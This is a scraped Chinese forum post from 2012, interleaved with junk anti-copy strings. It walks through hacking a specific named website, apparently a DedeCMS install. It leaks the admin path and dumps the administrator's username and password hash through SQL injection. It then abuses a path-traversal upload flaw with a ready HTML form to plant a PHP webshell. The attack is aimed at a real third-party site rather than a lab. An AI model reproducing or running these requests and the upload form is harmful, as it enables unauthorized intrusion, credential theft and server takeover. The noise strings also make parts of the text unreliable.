①注入漏洞。+ U6 _4 X N; ^& I: K. t3 F
这站 http://www.political-security.com/
+ A4 Y5 q0 [+ H: c$ ~首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
3 u; {. x' V* J$ a+ k3 j" pwww.political-security.com/data/mysql_error_trace.inc 爆后台
Z2 n5 C. N3 y然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
5 E& O/ D2 j" P B2 p& L+ L5 N/ L然后写上语句
, ~) j R" P% g& A查看管理员帐号4 u( O! l% W" R2 t( T6 z( J
http://www.political-security.co ... &membergroup=@`
; f0 w3 C, w- I7 f1 ~; u" Y1 d! {9 @9 j4 \8 a8 _/ y1 L+ K
admin : W4 f0 R# v8 [: R; |1 q2 ^ q% A: W
3 i$ ` z/ d8 |$ {, V, I( P
查看管理员密码
4 g( k. J+ h3 U http://www.political-security.co ... &membergroup=@`
* m' ^) D6 @) W6 J; W" F( S* _
8d29b1ef9f8c5a5af429" M$ _8 s& v" [9 k; d' \( y2 v, o+ P1 W
4 [! L- N6 ], Z3 o) X" Q
查看管理员密码
6 M( z3 a( n' i) e+ V# O( I9 V. a1 \( i
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5' A. d( l2 U! j- B' _( {
( \7 X* n' t1 }2 N9 |& h7 L8d2
3 ^( C! p2 u, u) F7 W9b1ef9f8c5a5af42& R/ R: V! B8 b# |; M3 W
9
7 n( h9 y- O% p. C0 G- V, @. [" T& e) C' x4 Q3 t) ^* N% W7 Z; ~
cmd5没解出来 只好测试第二个方法
6 B& i. W$ o0 \& P) I8 e$ _2 B9 `0 Z4 H/ f1 H1 _0 m/ |' t" e
0 p( F" Y) ?$ g
②上传漏洞：' a, r. T3 @" l0 I P8 _2 c# e
" k7 S! Y+ `3 K) R, W只要登陆会员中心，然后访问页面链接
" d* A4 Y W2 d“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”# ~( @5 J2 w6 W4 g
3 H ]0 Q# Q, ~* d4 H7 g5 N如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
" i5 y5 l6 L5 J% X( ~" d0 r/ A
- R2 z# _( j3 J: F5 F于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
& i* u; R8 _5 v0 S- `- [) Y: w4 c; f( H4 Z/ Z
<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br># F( ^- ]" Z) f
或者 ]+ g$ b& Z/ D a F/ }5 s3 h! b) Y; z
即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对